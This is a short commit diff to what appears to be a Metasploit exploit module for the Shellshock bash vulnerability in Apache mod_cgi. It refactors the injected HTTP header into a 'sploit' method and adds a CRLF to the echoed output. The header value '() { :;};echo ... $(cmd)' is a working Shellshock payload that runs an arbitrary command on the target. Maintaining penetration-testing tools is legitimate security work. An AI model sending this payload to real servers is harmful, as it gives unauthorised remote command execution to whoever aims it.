Fix broken check in exploit module

See 71d6b37.

Author: wvu

modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb

@@ -121,11 +121,15 @@ def req(cmd)
         'method' => datastore['METHOD'],
         'uri' => normalize_uri(target_uri.path.to_s),
         'headers' => {
-          datastore['HEADER'] => "() { :;};echo #{marker}$(#{cmd})#{marker}"
+          datastore['HEADER'] => sploit(cmd)
         }
       }, datastore['TIMEOUT'])
   end
 
+  def sploit(cmd)
+    %Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"}
+  end
+
   def marker
     @marker ||= rand_text_alphanumeric(rand(42) + 1)
   end